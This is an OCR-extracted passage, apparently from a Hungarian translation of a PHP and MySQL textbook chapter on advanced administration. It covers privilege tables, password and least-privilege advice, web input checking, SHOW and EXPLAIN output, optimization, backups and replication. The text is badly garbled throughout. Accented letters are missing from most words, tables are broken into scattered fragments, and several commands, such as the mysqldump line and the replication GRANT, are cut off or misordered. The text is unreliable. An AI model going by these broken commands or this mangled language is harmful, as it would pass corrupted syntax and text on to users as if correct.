kapcsold jogosultsgokat tartalmazza. Ezek a tblk a user, db s host tbltl kiss eltr szerkezettel rendelkeznek. A tables_pri v, a columns_priv s a procs_priv tbla smjt a 12.4, a 12.5, illetve a 12.6, tblzatban lthatjuk.
12.4 tblzat: A mysql Mez
Host Db User Table name Grantor Timestarop Table_priv
Column_priv
Halad MySQL-adminisztrci
197
12
tbla
Grantor
Timestamp
user
s a jelsz alapjn trtnik. Az res felhasznli nv azt jelzi, hogy minden felhasznl kapcsoldhat. A h osztnevek ) meghatrozsnak hasznlhatunk dzskerkaraktert (%. Lehet ez a teljes mez tartalma (ami azt jelenti, hogy minden hoszt megengedett) vagy a h osztnv egy rsze (a %. tangledweb. com. au esetn pldul a . tangledweb. com. au-ra vgzd sszes hosztnv megfelel). Az res jelszmez azt jelenti, nincs szksg jelszra. Rendszernk bizton sgosabb lesz, ha nem engedlyezzk az res felhasznli nevet, a h osztnevekben a dzskerkarakterek hasznlatt s a jelsz nlkli felhasznlkat. Ha a hosztnv res, a MySQL a jegyzst.
2. Krs ellenrzse. Minden egyes alkalommal, amikor a kapcsolat ltrehozsa utn krst intznk a kiszolglhoz,
host
user
s host be
a MySQL ellenrzi, hogy rendelkeznk-e a krs vgrehajtshoz szksges jogosultsggal. A rendszer elszr globlis jogosultsgainkat ellenrzi (a user tblban), majd- ha ez nem elgsges- a a
columns_pri v db
rendelkeznk elegend jogosultsggal, a MySQL ellenrzi a tables_pr i v tblt, s ha ez mg mindig nem elg, vgl tblt. Ha a mvelet trolt rutinokat hasznl, a MySQL a tblt fogja ellenrizni.
tables_priv
tb
la helyett a
procs _priv
s a
REVOKE
gi tblkat. Most, hogy megrudtuk, a MySQL hol s mikppen trolja a jogosultsgokat, akr sajt kezleg is megvltoztathat juk ezeket. Ha azonban ily mdon frissgk ket, a MySQL szerver nem fogja szrevenni, hogy a jogosultsgok megvltoztak. Tudatnunk kell a kiszolglval, hogy vltozs trtnt, ezt pedig hromflekppen tehetjk meg. Begpelhetjk a MySQL parancssorba a
FLUSH PRIVILEGES;
utastst (a parancs hasznlathoz rendszergazdaknt kell bejelentkeznnk). Ez a jogosultsgok frisstsnek taln leggyakrab ban hasznlt mdja.
198
12. fejezet
vagy a
mysqladmin reload
utastst. Ezt kveten a globlis szint jogosultsgok ellenrzse a legkzelebbi felhasznli kapcsoldskor fog vgbemenni; az adatbzis-jogosultsgok ellenrzst a u se utasts soron kvetkez hasznlata, a tbla- s oszlopszint jogosultsgok ellen rzst pedig a felhasznl kvetkez krse vltja ki.
Jelszavak
Gondoskodjunk arrl, hogy minden felhasznlnk (klnsen a root!) rendelkezzen az opercis rendszer jelszavhoz hasonl gondossggal megvlasztott s rendszeresen vltoztatott jelszvall Az alapszably, amit soha nem szabad elfelejteni, hogy a rszben vagy egszben sztri szbl ll jelsz, bizony. nem j vlaszts. A legjobb a betk s szmok kombincija. Amennyiben kdfjlokban fogjuk rtoini a jelszavakat, gyeljnk, hogy csak az a felhasznl lthassa az adott kdot, akinek a jelszavt abban ttoljuk! Az adarbzishoz kapcsoldshoz hasznlt PHP kdoknak rtelemszeren hozz kell frnik az adott felhasznl jelszavhoz. Ezt gy lehet kellen biztonsgosan megvalstani, ha a felhasznli nevet s a jelszt- mondjuk- egy dbconnect. php nev fjlba tesszk, amit szksg esetn beszrunk A kdot a webes dokumentumf.in kvl kell trolni, s csak a megfelel felhasznl szmra szabad elrhetv tenni. Ne feledjk, hogy ha
. inc
vagy valamilyen ms kiterjeszts fjlban troljuk ezeket a rszleteket, meg kell bizonyosadnunk
arrl, hogy a webszerver risztban van azzal, hogy PHP-knt kell rtelmeznie e fjlokat, nehogy bngszn keresztl egyszer szvegknt megtekinthetk legyenek ezek a titkos adatok! Ne troljuk adatbzisunkban a jelszavakat egyszer szvegknt! A MySQL jelszavak nem gy troldnak, de webes alkal mazsoknl gyakran elfordul, hogy trolni kvnjuk az oldal tagjainak felhasznli nevt s jelszavt. A jelszavakat a MySQL
password
( ) fggvnyvel lehet (egy irnyban) ritkostani. Jegyezzk meg, hogy ha ebben a formban sztjuk be a jelsz t, gy
akkor, arnikor- a felhasznl belptetshez- futtatjuk a SELECT utastst, ugyanezt a fggvnyt kell hasznlni ahhoz is, hogy ellenrizzk a felhasznl ltal begpelt jelszt!
Az V., Gyakorlati PHP s MySQL projektekfejlesztse m rszben a projektek megvalstsnl fogjuk kihasznlni ezt a funkcir.
Felhasznli jogosultsgok
A tuds hatalom. Gyzdjnk meg arrl, hogy megrtettk a MySQL jogosultsgi rendszert s az egyes jogosultsgok Ici osztsnak kvetkezmnyeit! Egyeden felhasznlt se ruhzzunk fel tbb jogosultsggal, mint amennyire szksge van! Ezt a jogosultsgi tblkban ellenrizhetjk.
Halad MySQL-adminisztrci
199
Klnskppen ne osszunk ki PROCESS, FILE, SHUTDOWN s RELOAD jogosultsgot az egyetlen rendszergazdn kvl ms felhasznlknak, legfeljebb rendkvl indokolt esetben! A PROCESS jogosultsggal ltni lehet, hogy mit tesznek s mit gpelnek be ms felhasznlk (gy jelszavuk is megszerezhet). A FILE jogosultsggal fjlokat lehet olvasni s rni az operci s rendszerbl, illetve az opercis rendszerbe (pldul Unix rendszerben az /etc/password knyvtrba). A GRANT jogosultsg kiosztsval is csnjn kell bnni, mert lehetv teszi a felhasznlknak, hogy sajt jogosultsgaikat megosszk msokkal. Felhasznlk ltrehozsnl gyeljnk, hogy csak azokrl a hasztokrl engedlyezzk szmukra a hozzfrst, amelyekrl csatlakozni fognak! Pldul egy j ane@localhost felhasznl teljesen rendben van, de szimpln a j ane tl gyakori, s brhonnan bejelentkezhet - st lehet, hogy nem is az a j ane, akinek gondoljuk. Hasonl okokbl kerljk a hoszmevekben a dzskerkarakterek hasznlatr! A biztonsgot tovbb ersthetjk, ha a host tblban a domainnevek helyett IP-cmeket hasznlunk. Ily mdon elke rlhetjk a DNS kiszolglnknl jelentkez hibk vagy crackerek okozta problmkat. gy rhetjk ezt el, ha a MySQL daernonea--s kip-name- res olve belltssal indtjuk el, ami azt eredmnyezi, hogy minden host oszloprtknek IP mnek vagy helyi gpnek (localhost) kel! lennie. Clszer elkerlni, hogy a nem rendszergazda felhasznlk hozzfrjenek a webszerveren fut mysqladmin programhoz. Mivel a program parancssorbl futtathat, a hozzfrs az opercisrendszer-jogosultsgok krdse.
12
Webes krdsek
MySQL adatbzisunk internertel trtn sszekapcsolsa klnleges biztonsgi krdseket ver fel. rdemes azzal kezdeni, hogy kizrlag a webes kapcsolatok cljra ltrehozunk egy klnleges felhasznlt. gy lehets gnk lesz arra, hogy csak a lehet legszkebb jogosultsggal ruhzzuk fel, s ne adjunk ennek a felhasznlnak pldul DROP, ALTER vagy CREATE jogosultsgot. Csak a katalogus tblkra acijunk neki SELECT, s csak a megrendeles tblkra INSERT jogosultsgot! Ismt egy j plda arra, hogyan alkalmazzuk a legkisebb jogosultsg elvt.
l Figyelmeztets: Az elz fejezetben bemutattuk, hogyan lehet a PHP addslashes () s stripslashes () fggv nyvel megszabadtani a karakterlncokat a problms karakterektL Fontos, hogy ne Jeledkezznk meg errl, s mieltt brmit elkldennk a MySQL-nek, hajtsunk rajta vgre ltalnos adattiszttst. Emlkezhetnk r, hogy a doubleval () fggvnnyel azt ellenriztk, hogy a numerikus adat tnylegesen numerikus volt-e. Ennek elmulasztsa gyakori hiba; az
addslashes
Minden esetben ellenriznnk kell a felhasznlktl rkez minden adatot. Mg akkor is, ha HTML rlapunk csak jell ngyzetekbl s vlasztgombokbl ll, megvltoztathatjk az URL-t, hogy megprbljk feltrni kdunkat. Ugyangy rde mes a bejv adatok mrert is ellenrizni. Amennyiben a felhasznlk adatbzisunkban eltroland jelszavakar vagy ms bizalmas informcikat gpelnek be, ne feledjk, hogy a bngsz egyszer szvegknt tovbbtja azokat a kiszolglnak - kivve, ha Secure Sockets Layer (SSL) kap csolatot hasznlunk! Errl rszletesebben olvashatunk majd knyvnk egy ksbbi rszben.
utasts az elrhet adatbzisok listjt aclja. Ha ez megvan, a SHOW adatbzis tblinak listjt jelenthetjk meg:
200
12. fejezet
Amikor adatbzis meghatrozsa nlkl hasznljuk a SHOW TABLES utastst, az aktulisan hasznlt adatbzisra fog vo natkozni. Ha mr tudjuk, milyen tblk vannak, a kvetkezkppen kapjuk meg az oszlopok listjt:
SHOW COLUMNS FROM megrendelesek FROM konyvek;
Ha kihagyjuk az adatbzis nevt, a SHOW COLUMNS utasts az aktulisan hasznlt adatbzisra fog vonatkozni. Hasznlhaguk a tabla.oszlop megjellst is:
SHOW COLUMNS FROM konyvek.megrendelesek;
A SHOW utasts egy msik igen hasznos vltozatval kiderthet, hogy milyen jogosultsgokkal br egy adott felhasznl. A
SHOW GRANTS FOR bookorama;
+------------------------------------------------------------------------+
12
'bookorama'@'%'
IDENTIFIED BY PASSWORD '*1ECE648641438A28El910DOD7403CSEE9E8BOA85' GRANT SELECT, ON INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER
'konyvek'.* TO
'bookorama'@'%'
+------------------------------------------------------------------------+
Az itt lthat GRANT utastsok nem szksgszeren azok, amelyekkel az adott felhasznl megkapta meglv jogosults gait, inkbb olyan egyenrtk utastsok sszefoglalsa, amelyek a felhasznl jelenlegi jogosultsgi szingt eredmnyeznk. A SHOW utasts szmtalan ms vltozatban hasznlhat, valjban tbb mint harminc klnbz vltozata ltezik. A gyaktabban hasznltakat a 12.7 tblzatban lthatjuk. A teljes listrt olvassunk bele a MySQL kziknyvbe (hrrp://dev. mysql.com/doc/refman/5.1/en/show.html)! A [LIKE_v agy_WHERE J tblzatbeli sszes elfordulsa esetn megprblha
tunk mintt vagy kifejezst illeszteni a LIKE, illetve a WHERE hasznlatval. 12.7 tblzat: A SHOW utasts szintaktikja Vltozat
SHOW DATABASES SHOW [OPEN) [LIKE_vagy_WHERE) [FROM adatbazis] TABLES
Lers Az elrhet adatbzisok listjt jelenti meg. Az aktulisan hasznlt vagy listjt jelenti meg.
[FROM
az
Az aktulisan hasznlt vagy a megnevezett adatbzis egy adott tbljnak sszes oszlopt lisrzza ki. A SHOW COLUMNS helyerr a SHOW FIELDS is hasznlhat. Az aktulisan hasznlt vagy a SHOW KEYS is.
az
adatbazis)
[FROM
SHOW
[GLOBAL
vagy_WHERE)
pldul a .. Threads_cached", .. Threads_connected; .,Threads created" s.Threads running" elemeknek felel meg.
SHOW [GLOBALISESSION) VARIABLES
A MySQL rendszervltozk nevt s rtkt jelenti meg (pldul verziszm). A rendszeren aktulisan fut folyamatokat - vagyis az ppen vgre hajtort lekrdezseket -jelenti meg. A felhasznJk tbbsge csak sajt szlait lthaga, de PROCESS jogosultsggal brki folyamata ira - gy akr lekrdezsekben lv jelszavakra is - rnzhernek Az opcionlis FULL kulcssz hasznlatakor a teljes lekrdezsek jelennek meg.
Halad MySQL-adminisztrci
201
\Tltozat
SHOW TABLE STATUS [LIKE_vagy_WHERE] [FROM adatbazis]
Lers
Az aktulisan hasznlt vagy az adathazis nev adatbzis sszes tb ljrl kzl informcikar. (Az adarbzist dzskerkarakter hasz nlatval is meghatrozhatjuk.) Az informcik kzrt megtalljuk a tbla tpust s az utols frisstse idpontjt.
jelhasznala
A jelhasznala nev felhasznl jelenlegi jogosuJtsgi szinrjnek ki osztshoz szksges G RANT utastsokat jelenti meg. A kiszolgl ltal tmogatott klnbz jogosultsgokat jelenti meg. A meghatrozott adatbzist ltrehoz CREATE DATABASE utas tst jelenti meg. A meghatrozott tblzatot ltrehoz CREATE TABLE utastst jelenti meg. Az adott teleptsnl elrhet trolmotorokat jelenti meg, illetve jelzi, melyik az alaprtelmezett. (A trolmotorokkal rszletesebben foglalkozunk a Halad
SHOW PRIVILEGES
SHOW
SHOW
[STORAGE] ENGINES
MySQLpragramazs
cm 13. fejezetben.)
SHOW INNODB STATUS SHOW WARNINGS sorok_szama] SHOW ERRORS sz ama] [LIMIT [eltols,] sorok [LIMIT [eltolas,]
Az InnoDB trolmotor aktulis llapotrl jelent meg adatokat. Az utoljra vgrehajtott utasts ltal generlt hibkat, figyelmezte tseket vagy zeneteket jelenti meg. Az utoljra vgrehajtott utasts ltal generlt hibkat jelenti meg.
12
Az utasts a tbla minden oszloprl, illetve- az oszlop meghatrozsa esetn-egy adott oszloprl ad informcit. Az oszlopnvben tetszs szerint hasznlhatunk dzskerkaraktereket.
Ez a parancs ekkor a DESCRIBE tabla vagy a SHOW COLUMNS FROM tabla utastshoz hasonl eredmnyt ad. A msodik s sokkal rdekesebb hasznlati md esetn az EXPLAIN ltni engedi szmunkra, pontosan miknt rtkel ki
a
MySQL egy adott SELECT lekrdezst. Ehhez nem kell mst tennnk, mint egyszeren az EXPLAIN szt berni a megfele Az EXPLAIN utasts akkor nyer igazn rtelmet, amikor sszetett lekrdezst prblunk mkdsbe hozni, s egyrtel
l SELECT utasts el. men ltszik, hogy valami nem stimmel, vagy amikor egy lekrdezs feldolgozsa a kelletnl sokkal tovbb tart. Ha komplex
lekrdezst runk, az EXPLAIN parancs segitsgvel elzetesen, a lekrdezs tnyleges futtatsa eltt ellenrizhetjk. Az utaststl visszakapott kimenet alapjn szksg esetn tdolgozharjuk az SQL kdot, hogy optimalizljuk. A fentiek miatt az
EXPLAIN
WHERE vasarlok.vasarloid
megrendelesek.vasarloid
=
rendelesi_tetelek.rendelesid
konyvek.isbn
like
'%Java%';
A lekrdezs az albbi kimenetet adja. (Azrt fgglegesen jelentjk meg, mert a tblzat sorai tl szlesek ahhoz, hogy elfrjenek knyvnk oldalain. Ha pontosvessz helyett \G-vel zrjuk a lekrdezst, akkor kapjuk ezt a formtumot.)
202
12.fezet
***************************
l. row
***************************
id: select type: table: type: possible keys: key: key_len: ref: rows: Extra:
l
SIMPLE megrendelesek ALL PRIMARY NULL NULL NULL
4 2. row
***************************
***************************
l
SIMPLE rendelesi tetelek ref PRIMARY PRIMARY
12
4
konyvek.megrendelesek.rendelesid
l
Using index 3. row ***************************
***************************
l
SIMPLE vasarlok ALL PRIMARY NULL NULL NULL 3 Using where; Using
4.
join buffer
***************************
row ***************************
id: select_type: table: type: possible keys: key: key_len: ref: rows: Extra:
l
SIMPLE konyvek eq_ref PRIMARY PRIMARY 13 konyvek.rendelesi tetelek.isbn
l
Using where
A kimenet elsre kicsit zavarosnak tnhet, de nagyon hasznos lehet. Vizsgljuk meg egyenknt a tblzat oszlopait! Az els, az id oszlop az azon lekrdezsen belli SELECT utasts azonost szmt adja meg, amelyre a sor hivatkozik. A select_type oszlop a hasznlt lekrdezs tpust mutatja meg. Az oszlop lehetsges rtkeit a 12.8 tblzatban lthatjuk. 12.8 tblzat: Az EXPLAIN utasts kimenetben szerepl, lehetsges Select-tpusok Tpus
SIMPLE PRIMARY
Lers Egyszer SELECT, mint amilyen pldnkban is szerepel. Egymsba gyazott lekrdezsek s unik hasznlata esetn a kls (els) lekrdezs.
Halad MySQL-adminisztrci
203
Tpus
UNION DEPENDENT UNION
Lers Msodik vagy ksbbi lekrdezs uniban. Msodik vagy ksbbi lekrdezs uniban, az elsdleges lekrdezstl fgg.
UNION
eredmnye.
Bels egymsba gyazott lekrdezs. Bels egymsba gyazott lekrdezs, amely az elsdleges lekrdezstl fgg (azaz korrellt lekrdezs).
FROM
Olyan egymsba gyazorr lekrdezs, amelynek eredmnye nem gyorsttrazhat, gy minden egyes sorhoz jra ki kell rtkelni. Msodik vagy ksbbi lekrdezs uniban, amely nem gyorsttrazhat egymsba gya zott lekrdezshez tartozik.
UNCACHEABLE UNION
A table oszlop egyszeren a lekrdezs megvlaszolshoz hasznlt tblkat sorolja fel. Az eredmny minden egyes sora arrl tjkoztat, hogyan hasznlja a lekrdezs az adott tblt. Jelen pldban azt lthatjuk, hogy a megrendelesek, a rendelesi _tetelek, a vasarlok s a konyvek tbla volt rintett. (Ezt mr korbban, a lekrdezsre nzve is meg llapthattuk) A type oszlop azt mutatja, hogyan lesz felhasznlva a tbla a lekrdezs sszekapcsolsaiban. Az oszlop lca! felvehet rtkek kszlett a 12.9 tblzat mutatja. Az ott szerepl rtkek a lekrdezs vgrehajtsnak sebessge szerint a leggyorsabbtl a leglas sabbig terjednek. A tblzatbl kvetkeztethetnk, hogy hny sort kell az egyes tblkbl a lekrdezs vgrehajtshoz beolvasni. 12.9 tblzat: Az Tpus
const
EXPLAIN
12
vagy system
A tblbl egyetlen beolvass trtnik. Ez akkor lehetsges, ha a tbla pontosan egy sorbl ll. Rendszertbla esetn a system, ms esetben a const tpust hasznlja. Az sszekapcsolsban szerepl ms tblk minden sorkszlethez (set of row) egyetlen sort olvasunk be ebbl a tblbl. Ez a tpus jn szba, amikor az sszekapcsols a tbln lv index minden rszt hasznlja, s az index UNI QUE, vagy az az elsdleges kulcs.
eq_ref
fulltext ref
fulltext
Az sszekapcsolsban szerepl ms tblk minden sorkszlethez a tbla megfelel sorksz lett olvassuk be. Ezt a tpust akkor hasznljuk, amikor az sszekapcsols nem tud az ssze kapcsoJsi felttel alapjn egyetlen sort kivlasztani - vagyis amikor csak a kulcs egy rszt hasznljuk az sszekapcsolsban, vagy a kulcs nem UNIQUE, kulcs. vagy nem az az elsdleges
ref or null
Olyan, rnint a ref lekrdezs, de a MySQL NULL sorokat is keres. (Ezt a tpust elssorban egymsba gyazott lekrdezsekben hasznljuk.) Az Index Merge egy klnleges optimalizls hasznlatt jelzi. Egyes IN egymsba gyazott lekrdezsekben, ahol egy egyedi sort kapunk vissza, erre az sszekapcsoJsi tpusra cserljk a ref tpust. A unique _subquery sszekapcsoJsi tpushoz hasonl, de indexelt, nem egyedi egyms ba gyazott lekrdezsekre val. Az sszekapcsolsban szerepl ms tblk minden sorkszlethez a tbla azon sorkszlett olvassuk be, amely egy adott tartomnyba esik. A celjes index beolvasott (scanned). A tbla minden sora beolvasott.
index_merge unique_subquery
index_subquery
range
index
ALL
Az elz pldban lthatjuk, hogy az egyik tblt (konyvek) eq_ref tpus hasznlatval kapcsoltk ssze, egy msikat
(rendelesi_tetelek)
a
tbla minden egyes sort megnzve. A rows oszlop is ezt tmasztja al: (nagyjbl) azt a szmot aclja meg, ahny sort az adott tblban az sszekapcsols vg
rehajtshoz be kell olvasnia a MySQL-nek. Ezeket a szmokat sszeszorozva megkapjuk a lekrdezs vgrehajtshoz meg vizsglt sorok teljes szmt. Azrt kell sszeszorozni a szmokat, mert az sszekapcsols olyan, mint a klnbz tblkban
204
12. fejezet
12
lv sorok szorzata. Tovbbi rszletekrt lapozzunk vissza a Munka MySQL adatbzisunkkal cm 10. fejezethez l Ne feledjk, hogy ez a megvizsglt, nem pedig a visszaadott sorok szma, s csupn becsls; a lekrdezs vgrehajtsa nlkl a MySQL nem tudja a pontos szmot meghatrozni. Nyilvnvalan minl kisebb tudjuk tenni ezt a szmot, annl jobb. Egyelre elhanyagolhat mennyisg adat tallhat adatbzisunkban, de ha az adatbzis mrete nvekedni kezd, a lekrdezs vgrehajtsi ideje is nni fog. Erre a krdsre rvide sen visszatrnk majd. A possible_keys oszlop- ahogy azt neve is sugallja- a MySQL ltal a tbla sszekapcsolshoz hasznlt kulcsokat mutatja. Pldnkban azt lthatjuk, hogy a lehetsges kulcsok mind PRIMARY, azaz elsdleges kulcsok. A key oszlop vagy a MySQL ltal tnylegesen hasznlt tblbl szrmaz kulcsot vagy NULL rtket tartalmaz ( ameny nyiben nem volt kulcs). Figyeljk meg, hogy br a vasarlok s a megrendelesek tblhoz tartoznak lehetsges elsdleges kulcsok, a lekrdezshez ezek nem lettek felhasznlva! A key_len oszlop a hasznlt kulcs hosszt mutatja. Ebbl az rtkbl megllapthatjuk, hogy csak a kulcs egy rsze lett-e felhasznlva. A kulcs hosszsga akkor vlik fontoss, amikor egynl tbb oszlopbl ll kulcsokkal dolgozunk. Pldnkban a teljes kulcs lett felhasznlva. A ref oszlop azokat az oszlopokat mutatja, amelyeket a kulccsal egytt a tbla sorainak kivlasztshoz hasznltunk. s vgl: az Extra oszlop az sszekapcsols vgrehajtsnak mdjrl kzl tovbbi informcit. A 12.10 tblzatban az oszlop nhny lehetsges rtket lthatjuk. A tbb mint 15 lehetsges rtk teljes listjt a MySQL kziknyvben talljuk (http:/l dev.mysql.com/ doc/refman/5.1/en/ using-explain.htrnl).
12.10 tblzat: Az
EXPLAIN
rtk
Distinct Not exists Range checked for each record Using filesort
Az els megfelel sor megtallsa utn a MySQL abbahagyja a keresst. A lekrdezs a LEFT
JOIN
A MySQL az sszekapcsolsban szerepl ms tblk minden sorkszlethez megprblja megtallni a legjobban hasznlhat indexet, ha van ilyen. Kt illeszrsre van szksg az adatok rendezshez. (Ez a mvelet nyilvnvalan ktszer any nyi ideig tart.) A tblkbl szrmaz minden informci az indexbl jn; vagyis a sarok tnyleges ellenrz se nem trtnik meg. A tblk beolvassa az sszekapcsalsi puffer hasznlatval rszekben trtnik; majd a soro kat a pufferbl kinyerve megy vgbe a lekrdezs. Ideiglenes tbla ltrehozsra van szksg a lekrdezs vgrehajtshoz. A sarok kivlasztsa WHERE mellkg hasznlatval trtnik.
Using index
Az EXPLAIN utasts kimenetben szrevett hibkat tbbflekppen orvosolhatjuk. Elszr is ellenrizhetjk az oszlopt pusokat, s meggyzdhetnk arrl, hogy megegyezek-e. Ez klnsen igaz az oszlopok szlessgre. Az indexek nem hasz nlhatk klnbz szlessg oszlopok prostsra. Ezen a problmn gy segthetnk, ha mdostjuk a prostani kivnt, de eltr szlessg oszlopok tpust, vagy ha mr az adatbzis tervezsnek elejn tekintettel vagyunk erre. Msodsorban utasthatjuk az sszekapcsols-optimalizlt, hogy vizsglja meg a kulcseloszlsokat, s tegye hatkonyabb az sszekapcsolsokat. A myisamchk segdalkalmazst vagy az ANALYZE TABLE utastst hasznlhatjuk erre- a kett egyenrtk. Az albbiakat begpelve hvhatjuk meg a segdalkalmazst:
myisamchk --analyze pathtomysqldatabase/table
Tbb tblt is ellenrizhetnk, ha felsoroljuk ket a parancssorban, vagy az albbi utastst adjuk ki:
myisamchk --analyze pathtomysqldatabase/*.MYI
TAB LE
rendelesi_tetelek,
Harmadsorban mrlegelhetjk annak lehetsgt, hogy j indexet adunk a tblhoz. Ha a lekrdezs lass vagy gyakori, rdemes komolyan elgondolkodni ezen a javtsi lehetsgen. Amennyiben olyan egyszeri lekrdezsrl van sz, amelyet soha az letben nem fogunk mg egyszer hasznlni- pldul a fnknk ltal krt, valamilyen bonyolult jelentsrl-, akkor az minden bizonnyal nem fogja megrni az erfesztst, mert ms dolgokat lelassthat.
Halad MySQL-adminisztrci
205
Ha az
EXPLAIN
utasts kimenetnek
possible
keys
krdezs teljestmnyt, hogy indexet adunk a krdses tblhoz. Ha a WHERE mellkgban hasznlt oszlop indexelsre megfe lel, a kvetkezkppen hozhatjuk ltre az j indexet az ALTER
ALTER TABLE tabla ADD INDEX (oszlop);
utastssal:
Adatbzisunk optimalizlsa
Az elbbi lekrdezs-optimalizlsi tippeken tlmenen srnos olyan dolgot tehetnk, amellyel ltalnossgban nveljk MySQL adatbzisunk teljestmnyt.
Optimlisra tervezs
Az alapelv az;, hogy adatbzisunkban minden a lehet legkisebb legyen. Ezt a clt - legalbbis rszben - a redundancit mini mliss tev, megfelel tervezssei rhetjk el. Szintn ezt szolglja, ha a lehet legkisebb adattpust hasznljuk az oszlopok hoz. Ahol lehetsges, rninimalizljuk a NULL ttk oszlopok szmt, s tegyk az elsdleges kulcsot a lehet legrvidebbl Ha lehet, kerljk a vltoz hosszsg oszlopok (gy a VARCHAR, TEXT s BLOB tpusak) hasznlatr! A rgztett hossz sg mezkkel rendelkez tblkkal gyorsabban dolgozhatunk, br az igaz, hogy valarnivel tbb helyet foglalnak el.
12
Jogosultsgok
Az EXPLAIN utastssal foglalkoz rszben emltett tancsok mellett a jogosultsgok egyszerstsvel is nvelhetjk a lekr ciezsek sebessgt. Korbban mr sz volt arrl, hogy vgrehajtsuk eltt a jogosultsgi rendszer ellenrzi a lekrdezseket. Minl egyszerbb ez a folyamat, annl gyorsabban fog lefutni a lekrdezs.
Tblaoptimalizls
Egy hosszabb ideje hasznlatban lv tblt a frisstsek s trlsek feldolgozsa mr tredezett tehetett. A tredezettsg
segdalkalmazssal a kvetkezkppen rendezhetjk egy tbla indext, illetve adatait az adott index szerint:
pathtomysqldatadirectory/*/*.MYI
Indexek hasznlata
Ahol szksges, indexek hasznlatval gyorsthatjuk lekrdezseinket. rizzk meg indexeink egyszersgt, s ne hozzunk ltre olyanokat, amilyeneket lekrdezseink nem hasznlnak! Ahogy korbban mr emltettk, az EXPLAIN utasts futtats
val llapthatjuk meg, hogy mely indexek vannak hasznlatban.
Tovbbi tippek
Sok ms apr finomsggal javthatjuk adatbzisunk teljestmnyt, illetve kezelhetnk egyedi ignyeket. A MySQL weboldalon szmos j tancsot tallunk erre vonatkozan (http:/ /www.mysql.com).
206
12. fejezet
[,
tabla zarolas_tipusa
...]
A tabla helyre a zroini kvnt tbla (illetve tblk) neve kerl, a Biztonsgi ments ksztshez csak olvassi zrolsta van szksg. A
FLUSH TABLES ;
zarolas _ tipusa
parancs futtatsval megbizonyosodhatunk arrl, hogy a biztonsgi ments ltrehozsa eltt az indexek minden vltozst lemezre rtuk. A biztonsgi ments elksztse kzben a felhasznJk s a kdok tovbbra is futtathatnak csak olvashat lekrdezseket. Ha szmos olyan lekrdezssei dolgozunk, amelyek mdostjk az adatbzist (ilyenek lehetnek pldul az gyfelek megrende lseiJ, akkor nem clszer ezt a megoldst vlasztanunk. A msodik- s egyben ajnlott- mdszer a mysql_dump parancs hasznlata. A parancsot az opercis rendszer parancs sorbl adjuk ki, s jellemzen valahogy gy nz ki:
12
>
all.sql
Ez az adarbzis jbli elllrshoz szksges minden SQL kdot az a ll.sql nev fjlba pakol. Ezt kveten egy pillanatra le kell lltanunk a mysqld folyamatot, majd a --log-bin [=logfile] bellrssal jbl el kell indtani azt. A naplfjlban trolt frisstsekbl kapjuk meg a mysql_dump parancs hasznlata ta vgbement vltoztat sokat. (A naplfjlokrl termszetesen brmilyen biztonsgi ments ksztse esetn gondoskodnunk kell.) A harmadik lehetsges mdszer a mysqlhotcopy kd hasznlata. A kvetkezkppen hvhatjuk meg:
mysqlhotcopy database /path/for/backup
Ez utn kvernnk kell az adarbzis elindtsnak s lelltsnak korbban bemutatott folyamatt. A biztonsgi ments ksztsnek (s a feladattvtelnek J utols lehetsges mdszere az adarbzis egy repliklr msolatnak mkdtetse. A replikcival a fejezet egy ksbbi rszben foglalkozunk majd.
mysql
A MySQL biztonsgi mentsnek s helyrelltsnak folyamatrl a hrrp:/ /www.mysql.com cmen elrhet MySQL web oldalon olvasharunk bvebben.
Replikcimegvalstsa
A replikci nev technolgia lehetv teszi, hogy tbb adatbzis szolgltassa ugyanazokat az adatokat. Ezzel megoszthat a terhels s fokozhat a rendszer megbzhatsga; ha az egyik kiszolgl tnkremegy, a lekrdezsek a tbbin futrathatk lesznek. Bellts utn biztonsgi mentsek ksztsre is hasznlhat. A dolog lnyege, hogy legyen egy master tpus szerver, amelyhez tbb slave tpust adhatunk. Minden slave kiszolgl tkrzi a mastert. Amikor az elejn bellguk a slave kiszolglkat, a master kiszolgln az adott idpillanatban lv minden adatot tmsolunk. A slave kiszolglkat ezt kveten a master alapjn frissteni kell. A master a binris napljbl tovbbtja a rajta lefuttatott sszes lekrdezs rszleteit, majd a slave kiszolglk is alkalmazzk azokat sajt adataikra. Jellemzen gy hasznljuk ezt a felllst, hogy az rsi lekrdezseket a master kiszolgln, az olvassi lekrdezseket pedig a slave kiszolglkon futtaguk. Ezt alkalmazsunk logikja kveteli meg. sszetettebb architektrk is lehetsgesek, pldul amelyben tbb master kiszolgl dolgozik, mi azonban csak ezzel a legtipikusabb felllssal foglalkozunk. Belthat, hogy a slave kiszolglk ltalban nem rendelkeznek annyira napraksz adatokkal, mint a master. Ez minden elosztott adatbzisra igaz.
Halad MySQL-adminiszrrci
207
A masrer s slave archrektra felptsnek els lpsekm leellenrizzk, hogy a binris naplzs be van-e kapcsolva
a
vagy my. cnf fjlunkat a masrer s a slave kiszolglkorr is szerkeszteni kell. Az elbbi esetn az albbi bellir
log-bin
server-id=l
Az els bellirs a binris naplzsr kapcsolja be (ezt mr be kellett kapcsolnunk; ha nem tettk meg, kapcsoljuk be mosr!). A msodik bellirs egyedi azonostt ad a master kiszolglnak. Minden slave kiszolgl is azonostt ignyel, ezrt hasonl sort kell hozzadnunk minden slave my. ini/my. cnf fjljhoz. gyeljnk, hogy a szmok egyediek legyenek! Az els slave azonostja legyen- mondjukserver-id=2;
a msodik
server-id=3
srb.
12
replication slave jogosultsgra van szksg. Ha gy dnrnk, hogy a LOAD DATA FROM MASTER paranccsal tovbbtjuk az adarokar, a felhasznlnak RELOAD, SUPER s SELECT jogosulrsgra is szksge lesz, de csak a kiindul belltshoz. (Errl az urasrsrl a kvetkez rszben olvasharunk bvebben.) A 9. fejezetben megismert, legkisebb jogosultsg elve alapjn vissza kell vonni ezeker a jogosultsgokat, aminr a rendszer mr felll r s fut. Hozzunk ltre egy felhasznlt a master kiszolgln! Brmilyen felhasznli nevet s jelszt adharunk neki, de jegyezzk fel! Pldnkban a r ep_ slave nevet acljuk a felhasznlnak:
grant replication slave
on to
* . *
'rep_slave'@
'%'
identified by
kvetkez rszben mutatjuk be), majd a LOAD DATA FROM MASTER utasts futtatsa. Ennek a megkzeltsnek az szpsghibja, hogy az adattvitel idejre zrolja a master tblit, s rnivel ez nmi idr vehet ignybe, hasznlatt nem ajnl ltalban jobban jrunk, ha az adott idpontban pillanatfelvtelt ksztnk az adatbzisrL A fejezet korbbi rszben,
juk. (Csak akkor rdemes ezt a mdszert vlasztani, ha MyiSAM tblkat hasznlunk.)
a a
